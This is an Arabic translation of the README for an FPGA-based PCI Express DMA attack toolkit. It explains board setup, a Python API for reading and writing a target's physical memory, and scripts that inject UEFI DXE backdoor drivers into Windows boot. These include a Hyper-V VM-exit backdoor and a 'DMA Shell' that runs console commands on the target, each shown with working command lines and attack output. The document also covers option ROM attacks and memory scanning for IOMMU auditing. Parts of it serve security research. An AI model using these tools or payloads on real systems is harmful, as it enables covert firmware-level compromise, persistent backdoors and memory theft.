برنامج آخر يوضح كيفية استخدام هجمات DMA قبل الإقلاع لحقن كود عشوائي في وضع المستخدم أو وضع النواة في نظام التشغيل Windows عن طريق اختطاف عملية الإقلاع الخاصة به باستخدام Boot Backdoor. يمكن لهذا البرنامج أيضاً العمل مع DMA Shell − وهي حمولة Boot Backdoor تسمح بتنفيذ أوامر وحدة التحكم عبر جهاز PCI-E المارق، ونقل الملفات، وتحميل ملفات تنفيذية تابعة لجهات خارجية إلى نظام التشغيل الهدف في وقت التشغيل.

💾 جزء Hyper-V Backdoor من هذا المشروع يحتوي على العديد من المزايا وخيارات النشر الأخرى غير الموصوفة في هذا المستند، ويمكنك استخدامه بشكل منفصل عن أدوات هجمات DMA حتى دون أي عتاد خاص: راجع توثيقه

💾 جزء Boot Backdoor من هذا المشروع يحتوي على العديد من المزايا وخيارات النشر الأخرى غير الموصوفة في هذا المستند، ويمكنك استخدامه بشكل منفصل عن أدوات هجمات DMA حتى دون أي عتاد خاص: راجع توثيقه

💾 يمكن أيضاً استخدام أدوات Python من هذا المشروع وتصاميم FPGA للوحات SP605 وZC706 وPicoEVB لنشر SMM Backdoor Next Gen مع هجوم DMA قبل الإقلاع. راجع توثيقه لمزيد من التفاصيل التقنية.

🛠️ يمكن أيضاً استخدام أدوات Python والحمولات من هذا المشروع، بما في ذلك Hyper-V Backdoor وBoot Backdoor، مع اللوحات المبنية على Xilinx Zynq-7000 SoC. يوجد مشروع منفصل لتصميم هجمات DMA لعدة التقييم Xilinx ZC706.

🛠️ يمكن أيضاً استخدام أدوات Python والحمولات من هذا المشروع، بما في ذلك Hyper-V Backdoor وBoot Backdoor، مع لوحة التطوير PicoEVB. يوجد مشروع Pico DMA منفصل − وهو غرسة عتادية مستقلة تماماً لهجمات DMA قبل الإقلاع لفتحة M.2 يمكنها تشغيل برامج تشغيل UEFI DXE عشوائية كحمولة.

المحتويات

• s6_pcie_microblaze.xise − ملف مشروع Xilinx ISE.

• microblaze/pcores/axis_pcie_v1_00_a/ − وحدة طرفية مخصصة تسمح بتوصيل كتلة نقطة النهاية المدمجة في PCI Express لـ FPGA Spartan-6 كدفق TLP خام بمعالج MicroBlaze اللين.

• sdk/srec_bootloader_0/ − مُحمِّل إقلاع بسيط لمعالج MicroBlaze اللين، يستخدم تنسيق صور SREC وذاكرة الفلاش الخطية المدمجة في SP605 لتحميل وتخزين برنامج MicroBlaze الرئيسي.

• sdk/main_0/ − البرنامج الرئيسي لمعالج MicroBlaze اللين، ويعيد توجيه حزم TLP الخام لناقل PCI-E إلى اتصال TCP باستخدام منفذ Ethernet المدمج في SP605 وحزمة شبكات lwIP.

• python/pcie_lib.py − مكتبة Python للتفاعل عبر الشبكة مع برنامج MicroBlaze الرئيسي الذي يعمل على لوحة SP605، وتنفذ تجريدات متنوعة منخفضة المستوى وعالية المستوى للتعامل مع مستوى TLP الخاص بـ PCI-E من كود Python.

• python/pcie_mem.py − برنامج سطر أوامر يقوم بتفريغ ذاكرة الوصول العشوائي للمضيف على الشاشة أو في ملف إخراج عن طريق إرسال حزم MRd TLP.

• python/pcie_mem_scan.py − برنامج سطر أوامر يفحص المضيف الهدف بحثاً عن نطاقات الذاكرة الفعلية التي يمكن الوصول إليها عبر ناقل PCI-E، وهو مفيد للتدقيق الأمني للمنصات الممكّنة بـ IOMMU (أمثلة: 1, 2, 3, 4).

• python/uefi_backdoor_simple.py − برنامج سطر أوامر لهجوم DMA قبل الإقلاع يحقن برنامج تشغيل UEFI وهمي في تسلسل إقلاع الجهاز الهدف.

• python/uefi_backdoor_hv.py − برنامج سطر أوامر لهجوم DMA قبل الإقلاع يحقن الباب الخلفي لمعالج مخارج VM في Hyper-V في تسلسل إقلاع النظام الهدف.

• python/uefi_backdoor_boot.py − برنامج سطر أوامر لهجوم DMA قبل الإقلاع يحقن Boot Backdoor في تسلسل إقلاع النظام الهدف.

• python/payloads/DmaBackdoorSimple/ − الكود المصدري لبرنامج تشغيل UEFI DXE الوهمي لاستخدامه مع uefi_backdoor_simple.py.

• python/payloads/DmaBackdoorHv/ − الكود المصدري لبرنامج تشغيل UEFI DXE لاستخدامه مع uefi_backdoor_hv.py، ويطبق وظائف Hyper-V Backdoor.

• python/payloads/DmaBackdoorBoot/ − الكود المصدري لبرنامج تشغيل UEFI DXE لاستخدامه مع uefi_backdoor_boot.py، ويطبق وظائف Boot Backdoor.

إعداد لوحة SP605

وثيقة Xilinx UG526، المعروفة أيضاً باسم SP605 Hardware User Guide، هي أفضل صديق لك إذا أردت معرفة مزيد من التفاصيل حول استخدام وإعداد هذه اللوحة الرائعة.

1. لتحميل تدفق البتات (bitstream) من شريحة SPI flash المدمجة، تحتاج إلى إعداد SP605 بتحويل مفاتيح SW1 إلى الوضع 1-ON، 2-OFF.

2. الآن يجب عليك كتابة تدفق البتات الخاص بـ FPGA في فلاش SPI. استخدم ملف s6_pcie_microblaze.mcs إذا أردت القيام بذلك عبر JTAG بمساعدة أداة Xilinx iMPACT (انظر هذا البرنامج التعليمي)، أو s6_pcie_microblaze.bin إذا أردت استخدام مبرمج SPI flash خارجي متصل بترويسة J17 في SP605 (وهي الطريقة الأسرع والأكثر ملاءمة).

في حال استخدام مبرمج SPI flash متوافق مع flashrom، يمكنك استخدام برنامج flash_to_spi.py كغلاف لـ flashrom:``` $ ./flash_to_spi.py linux_spi:dev=/dev/spidev1.0 s6_pcie_microblaze.bin Using region: "main". Calibrating delay loop... OK. Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on linux_spi. Reading old flash chip contents... done. Erasing and writing flash chip... Warning: Chip content is identical to the requested image. Erase/write done.

5. لتكوين إعدادات الشبكة، تحتاج إلى تشغيل برنامج bootloader_ctl.py مع خيار --config:``` $ ./python/bootloader_ctl.py /dev/ttyUSB0 --config 192.168.2.247:255.255.255.0:192.168.2.1:28472 [+] Opening device "/dev/ttyUSB0"... [+] Updating board settings...

Address: 192.168.2.247 Netmask: 255.255.255.0 Gateway: 192.168.2.1 Port: 28472

Erasing flash... Writing 0x12 bytes at 0x00000000 [+] DONE

يطبع البرنامج الرئيسي رسائل الخطأ الخاصة به إلى UART المدمج، ويمكنك استخدام خيار --console من bootloader_ctl.py لمراقبة هذه الرسائل في الوقت الفعلي.

7. قم بتوصيل SP605 بمنفذ PCI-E الخاص بالكمبيوتر المستهدف وقم بتشغيل الكمبيوتر. عند نجاح إنشاء رابط PCI-E سترى مؤشري LED DS3 و DS4 مضاءين.

8. قم بتشغيل أمر lspci على الكمبيوتر المستهدف للتأكد من أن نظام التشغيل يرى بطاقتك كجهاز PCI-E مناسب:```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Default PCIe endpoint ID

مثال لجهاز PCI-E كما يظهر في معلومات أجهزة Apple macOS عند توصيله بمنفذ Thunderbolt 2 في MacBook Pro:

في جانب المهاجم، يمكنك استخدام برنامج pcie_cfg.py لعرض سجلات مساحة التكوين لجهاز PCI-E:``` $ ./pcie_cfg.py [+] PCI-E link with target is up [+] Device address is 03:00.0

SUBSYSTEM_VENDOR_ID = 0x10ee SUBSYSTEM_ID = 0x7 ROM_ADDRESS = 0x0 INTERRUPT_LINE = 0xff INTERRUPT_PIN = 0x1 MIN_GNT = 0x0 MAX_LAT = 0x0

إليك مثال على تفريغ 0x80 بايت من الذاكرة الفعلية للكمبيوتر المستهدف بدءًا من العنوان صفر باستخدام برنامج pcie_mem.py:``` $ DEBUG_TLP=1 ./pcie_mem.py 0x0 0x80 TLP TX: size = 0x04, source = 01:00.0, type = MRd64 tag = 0x00, bytes = 0x84, addr = 0x00000000

TLP RX: size = 0x23, source = 00:00.0, type = CplD tag = 0x00, bytes = 132, req = 01:00.0, comp = 00:00.0

TLP RX: size = 0x04, source = 00:00.0, type = CplD tag = 0x00, bytes = 4, req = 01:00.0, comp = 00:00.0

00000000: f3 ee 00 f0 f3 ee 00 f0 c3 e2 00 f0 f3 ee 00 f0 | ................ 00000010: f3 ee 00 f0 54 ff 00 f0 05 31 00 f0 fe 30 00 f0 | ....T....1...0.. 00000020: a5 fe 00 f0 e4 04 00 e8 f3 ee 00 f0 f3 ee 00 f0 | ................ 00000030: f3 ee 00 f0 f3 ee 00 f0 57 ef 00 f0 53 ff 00 f0 | ........W...S... 00000040: 14 00 00 c0 4d f8 00 f0 41 f8 00 f0 59 ec 00 f0 | ....M...A...Y... 00000050: 39 e7 00 f0 d4 06 00 e8 2e e8 00 f0 d2 ef 00 f0 | 9............... 00000060: 00 e0 00 f0 f2 e6 00 f0 6e fe 00 f0 53 ff 00 f0 | ........n...S... 00000070: 53 ff 00 f0 a4 f0 00 f0 c7 ef 00 f0 b1 99 00 c0 | S...............

البرنامج المقدَّم بلغة Python يستخدم بعض متغيرات البيئة لتجاوز القيم الافتراضية لخيارات معيّنة:

• DEBUG_TLP − إذا تم تعيينه إلى 1، فاطبع تفريغ حزم TLP المرسلة (TX) والمستقبلة (RX) إلى الإخراج القياسي.

• TARGET_ADDR − سلسلة <address>:<port> لتجاوز عنوان IP الخاص باللوحة المحدد في ملف python/pcie_lib_config.py.

استخدام Python API

توفر مكتبة Python pcie_lib.py واجهة برمجة تطبيقات منخفضة المستوى لإرسال واستقبال حزم TLP الخاصة بـ PCE-E، إلى جانب تجريدات لأنواع TLP المختلفة وواجهة برمجة تطبيقات عالية المستوى للوصول إلى الذاكرة الفعلية.

يوضح البرنامج التالي كيفية العمل مع حزم TLP الأولية باستخدام pcie_lib.py:```python from pcie_lib import *

Open PCI-E device, optional addr parameter overrides value specified in pcie_lib_config.py

file or TARGET_ADDR environment variable

dev = TransactionLayer(addr = ( '192.168.2.247', 28472 ))

get bus:device.function address of our PCI-E endpoint

bus_id = dev.get_bus_id()

MRd TLP request which reads 1 dword of memory at address 0x1000

tlp_tx = [ 0x20000001, # TLP type and data size 0x000000ff | (bus_id << 16), # requester ID 0x00000000, # high dword of physical memory address 0x00001000 ] # low dword of physical memory address

send TLP

dev.write(tlp_tx)

receive root complex reply

tlp_rx = dev.read(raw = True)

prints 4a000001 00000004 01000000 00000000

print('%.8x %.8x %.8x %.8x' % tuple(tlp_rx))

check for CplD TLP format and type

assert (tlp_rx[0] >> 24) & 0xff == 0x4a

print readed dword

print('%.8x' % tlp_rx[3])

dev.close()

الوصول إلى الذاكرة الفعلية باستخدام API عالية المستوى:```python

write bytes to memory

dev.mem_write(0x1000, '\xAA' * 0x10)

write single qword/dword/word/byte to memory

dev.mem_write_8(0x1000, 0) dev.mem_write_4(0x1000, 0) dev.mem_write_2(0x1000, 0) dev.mem_write_1(0x1000, 0)

read bytes from memory

print(repr(dev.mem_read(0x1000, 0x10)))

read single qword/dword/word/byte from memory

print('%.16x' % dev.mem_read_8(0x1000)) print('%.8x' % dev.mem_read_4(0x1000)) print('%.4x' % dev.mem_read_2(0x1000)) print('%.2x' % dev.mem_read_1(0x1000))

5. قم بتشغيل الكمبيوتر المستهدف، وفي حال نجاح الهجوم بعد بضع ثوانٍ سترى شاشة رسائل التصحيح الحمراء لبرنامج تشغيل UEFI DXE المحقون:

مثال على مخرجات وحدة التحكم الخاصة بـ uefi_backdoor_simple.py بعد الهجوم الناجح:``` $ ./uefi_backdoor_simple.py --driver payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [+] Using UEFI system table hook injection method [+] Reading DXE phase payload from payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64.efi [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [!] Bad MRd TLP completion received [+] PCI-E link with target is up [+] TSEG is somewhere around 0xd7000000 [+] PE image is at 0xd6260000 [+] EFI_SYSTEM_TABLE is at 0xd61eaf18 [+] EFI_BOOT_SERVICES is at 0xd680aa00 [+] EFI_BOOT_SERVICES.LocateProtocol() address is 0xd67e2c18 Backdoor image size is 0x1240 Backdoor entry RVA is 0x31c Planting DXE stage driver at 0x10000... Hooking LocateProtocol(): 0xd67e2c18 -> 0x0001031c 0.780202 sec. [+] DXE driver was planted, waiting for backdoor init... [+] DXE driver was executed [+] DONE

برنامج تشغيل UEFI DXE الخاص بـ Hyper-V Backdoor يطبع أيضًا رسائل التصحيح الخاصة به على الشاشة. بالإضافة إلى ذلك، يمكنك استخدام خيار --debug-output في uefi_backdoor_hv.py لقراءة رسائل التصحيح هذه من الذاكرة الفعلية للنظام المستهدف وطباعتها إلى stdout:``` $ ./uefi_backdoor_hv.py --debug-output [+] PCI-E link with target is up [+] Debug output buffer address is 0x79db3000

DmaBackdoorHv.c(1018) : ****************************** DmaBackdoorHv.c(1019) : DmaBackdoorHv.c(1020) : Hyper-V backdoor loaded! DmaBackdoorHv.c(1021) : DmaBackdoorHv.c(1022) : ****************************** DmaBackdoorHv.c(1055) : Image address is 0xc0000 DmaBackdoorHv.c(275) : BackdoorImageRealocate(): image size = 0x3260 DmaBackdoorHv.c(1065) : Resident code base address is 0x79daf000 DmaBackdoorHv.c(794) : Protocol notify handler is at 0x79daf364 DmaBackdoorHv.c(819) : BackdoorEntryResident() DmaBackdoorHv.c(830) : OpenProtocol() hook was set, handler = 0x79db1477 DmaBackdoorHv.c(835) : ExitBootServices() hook was set, handler = 0x79db1487 DmaBackdoorHv.c(447) : winload.dll is at 0x8ee000 DmaBackdoorHv.c(448) : winload!BlLdrLoadImage() is at 0x984a10 DmaBackdoorHv.c(477) : 535 free bytes found at the end of the code section at 0xa4ade9 DmaBackdoorHv.c(527) : winload!BlLdrLoadImage() hook was set, handler is at 0x79daf50c DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\mcupdate_GenuineIntel.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hvix64.exe" HyperV.c(369) : HyperVHook(): Hyper-V image is at 0xfffff80144e0d000 HyperV.c(388) : HyperVHook(): Resources section RVA is 0x1400000 (0x200000 bytes) HyperV.c(425) : HyperVHook(): Code section RVA is 0x200000 HyperV.c(604) : HyperVHook(): Hyper-V VM exit handler is at 0xfffff8014502ad90 HyperV.c(605) : HyperVHook(): Backdoor code size is 684 bytes DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\kdstub.dll" DmaBackdoorHv.c(350) : new_BlLdrLoadImage(): Path = "\WINDOWS\system32\hv.exe" DmaBackdoorHv.c(560) : new_ExitBootServices() called

الآن، عند تحميل Boot Backdoor مع حمولته بنجاح، يمكنك تشغيل uefi_backdoor_boot_shell.py مع خيار --attach للتواصل مع المثيل الحالي قيد التشغيل من DMA Shell:``` $ ./uefi_backdoor_boot_shell.py --attach --command "hostname" [+] PCI-E link with target is up [+] Device address is 01:00.0 [+] Payload shared memory region is at 0x00200000 [+] Executing command: hostname [+] Process exit code: 0x00000000

DESKTOP-E52IJJ8

للحصول على مزيد من المعلومات حول حالات استخدام وميزات Boot Backdoor، اطّلع على ملف README الخاص به مع معلومات مفصّلة.

تدعم برامج Python uefi_backdoor_simple.py وuefi_backdoor_hv.py وuefi_backdoor_boot.py وuefi_backdoor_boot_shell.py طريقتين مختلفتين لتمرير التنفيذ إلى صورة برنامج تشغيل UEFI DXE المحقونة:

• اختطاف EFI_SYSTEM_TABLE − امسح ذاكرة النظام باتجاه تنازلي من العنوان الفعلي 0xf0000000 إلى 0 بخطوة 0x10000 بايت للعثور على جدول نظام EFI من خلال توقيعه وتصحيح عنوان دالة LocateProtocol(). لتجاوز خيارات فحص الذاكرة، يمكنك استخدام متغيري البيئة SCAN_FROM وSCAN_STEP.

• اختطاف PROTOCOL_ENTRY − امسح ذاكرة النظام باتجاه تصاعدي من العنوان الفعلي 0x76000000 إلى 0xa0000000 بخطوة 0x1000 بايت للعثور على بنية EFI_CPU_IO2_PROTOCOL الخاصة بـ بروتوكول CPU I/O 2 وتصحيح إحدى دواله. لتجاوز خيارات فحص الذاكرة، يمكنك استخدام متغيرات البيئة SCAN_FROM وSCAN_TO وSCAN_STEP.

بشكل افتراضي، تستخدم جميع البرامج الأربعة طريقة اختطاف جدول نظام EFI؛ لاستخدام طريقة إدخال البروتوكول بدلاً من ذلك، يمكنك تمرير خيار سطر الأوامر --inj-prot إلى البرنامج المناسب. لتقليل الوقت المطلوب لتنفيذ الهجوم، يمكنك تحديد عنوان بنية EFI_SYSTEM_TABLE الذي تم العثور عليه مسبقًا باستخدام الخيار --system-table وعنوان بنية PROTOCOL_ENTRY باستخدام الخيار --prot-entry. أيضًا، تمتلك جميع برامج Python الأربعة خيار سطر الأوامر --test، ويُستخدم هذا الخيار لإجراء فحص الذاكرة والعثور على عناوين البنى المطلوبة دون تنفيذ اختطاف فعلي لمسار التنفيذ. لذلك، أثناء الإقلاع الأول يمكنك تشغيل البرنامج المطلوب مع الخيار --test للعثور على العنوان المطلوب، وأثناء الإقلاع الثاني يمكنك تشغيل نفس البرنامج مع الخيار --system-table أو --prot-entry لتحديد ذلك العنوان.

أثناء تطوير التعليمات البرمجية الخبيثة لهجمات DMA قبل الإقلاع، من المهم الحصول على معلومات حول بيئة تنفيذ مرحلة UEFI DXE. لجمع هذه المعلومات، يمكنك تشغيل الكمبيوتر الهدف والدخول إلى قائمة إعداد BIOS أو قائمة خيارات الإقلاع لإيقاف تحميل نظام التشغيل مؤقتًا، ثم تشغيل برنامج uefi.py بدون وسائط. سيقوم هذا البرنامج بفحص الذاكرة الفعلية للكمبيوتر الهدف وطباعة معلومات متنوعة حول بروتوكولات وواجهات UEFI DXE الموجودة، وبرامج تشغيل UEFI المحمّلة، وجداول واصفات UEFI وجداول ACPI. يمكنك هنا رؤية مثال على المعلومات التي تم الحصول عليها بواسطة برنامج uefi.py أثناء استخدام كمبيوتر AAEON UP Squared المصغّر كهدف للهجوم.

هجمات خيار ROM

يمكن للبتستريم المقدم محاكاة خيار ROM الخاص بـ PCI-E المخزّن في ذاكرة الفلاش الخطية المدمجة في SP605. على الرغم من أن المنصات الحديثة تخفف من هجمات خيار ROM المعروفة، إلا أن هذه الميزة قد تظل مفيدة لأغراض التدقيق الأمني أو النمذجة الأولية.

يمكنك إدارة صور خيار ROM باستخدام برنامج Python pcie_rom_ctl.py.
مسح محتويات خيار ROM:``` $ ./pcie_rom_ctl.py --erase [+] Opening PCI-E device... [+] Enabling resident mode... [+] Erasing option ROM... [+] Done

أيضًا، هناك خيار لتسجيل وصول ذاكرة الـ option ROM إلى UART التصحيح في لوحة SP605. لتمكين أو تعطيل هذا الخيار، استخدم المعلمتين --log-on و --log-off من برنامج ./pcie_rom_ctl.py.

للتحقق من التشغيل الصحيح لدعم الـ option ROM في نظام لينكس، يمكنك القيام بما يلي.
أولًا، ابحث عن عنوان ناقل-جهاز-وظيفة (bus-device-function) لجهاز SP605 الخاص بـ PCI-E:```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Device 1337

الآن يمكنك تفريغ محتويات خيار ROM المُحمَّل مسبقًا باستخدام أمر dd والملف الزائف المناسب الخاص بـ sysfs:```

dd if=/sys/bus/pci/devices/0000:01:00.0/rom | hexdump -Cv

00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

...

استكشاف الأخطاء وإصلاحها

PCI Express ناقل عالي السرعة معقّد جدًا، لذلك هناك الكثير من الأمور التي قد تسوء. في حال لم يعمل هجوم DMA على إعدادك، يمكنك التحقق من الأمور التالية لتحديد المشكلة بدقة:

• مؤشر DS3 مضاء عندما يكون رابط PCI-E الفعلي نشطًا، بينما DS4 مضاء عندما يكون مجمع الجذر (root complex) قد خصّص عنوان ناقل-جهاز-وظيفة (bus-device-function address) لنقطة نهاية PCI-E الخاصة بنا. إذا كان DS3 مطفأً فهذا يعني غالبًا وجود مشكلة اتصال فيزيائي − افحص الرافعات (risers) والكابلات وغيرها. إذا كان DS3 مضاءً لكن DS4 مطفأً فهذا يعني أنه يجب عليك إعادة تشغيل هدف الهجوم أو فرض إعادة فحص أجهزة PCI-E على جانبه.

• مؤشر DS5 مضاء أثناء إعادة تعيين ناقل PCI-E، وعندما يكون مضاءً دائمًا فهذا يعني وجود مشكلة اتصال فيزيائي.

• إذا أرسل مجمع الجذر TLP من نوع Cpl بدلاً من CplD TLP ردًا على طلب قراءة من الذاكرة، فهذا يعني أن الوصول إلى الذاكرة قد تم رفضه بسبب عنوان غير صالح أو بسبب فحوصات الوصول المفروضة من IOMMU. أيضًا، قد لا يستجيب جهاز x86 النموذجي إطلاقًا لطلبات قراءة الذاكرة الموجهة إلى مناطق MMIO معيّنة من مساحة العناوين الفعلية.

• إذا كان البرنامج يستقبل TLPs غير متسقة أو غير صالحة من مجمع الجذر ردًا على طلبات قراءة الذاكرة، فيمكنك محاولة تعيين قيمة أصغر للثابت MEM_RD_TLP_LEN في pcie_lib.py لتقسيم بيانات الرد إلى أجزاء أصغر. ومن المفيد أيضًا تشغيل البرنامج مع متغير البيئة DEBUG_TLP=1 وفحص تفريغ TLPs الخام للإرسال/الاستقبال (TX/RX).

بناء المشروع من الكود المصدري

1. قم بتثبيت Xilinx ISE 13.4 المرفق مع لوحة SP605 الخاصة بك وافتح ملف المشروع s6_pcie_microblaze.xise.

2. أعد توليد نواتَي s6_pcie_v2_4 وfifo_generator_v8_4 الموجودتين في تسلسل المشروع (project hierarchy).

3. انقر على مثيل microblaze_i في تسلسل المشروع وشغّل "Export Hardware Design to SDK With Bitstream".

4. عندما يكتمل البناء، يفتح ISE بيئة Xilinx Software Development Kit IDE، استخدم مجلد sdk كمساحة عمل لها.

5. أنشئ حزمة دعم لوحة (board support package) مستقلة جديدة في شجرة مشروع Xilinx SDK الخاص بك، واختر مكتبتَي lwIP وxilflash في إعداد BSP.

6. استورد مشروعي sdk/srec_bootloader_0 وsdk/main_0 إلى شجرة المشروع وشغّل البناء.

7. شغّل make bitstream && make srec من موجه أوامر Xilinx ISE لتوليد ملفات الإخراج المطلوبة.

من تطوير

Dmytro Oleksiuk (المعروف بـ Cr4sh)

[email protected]
http://blog.cr4.sh
@d_olex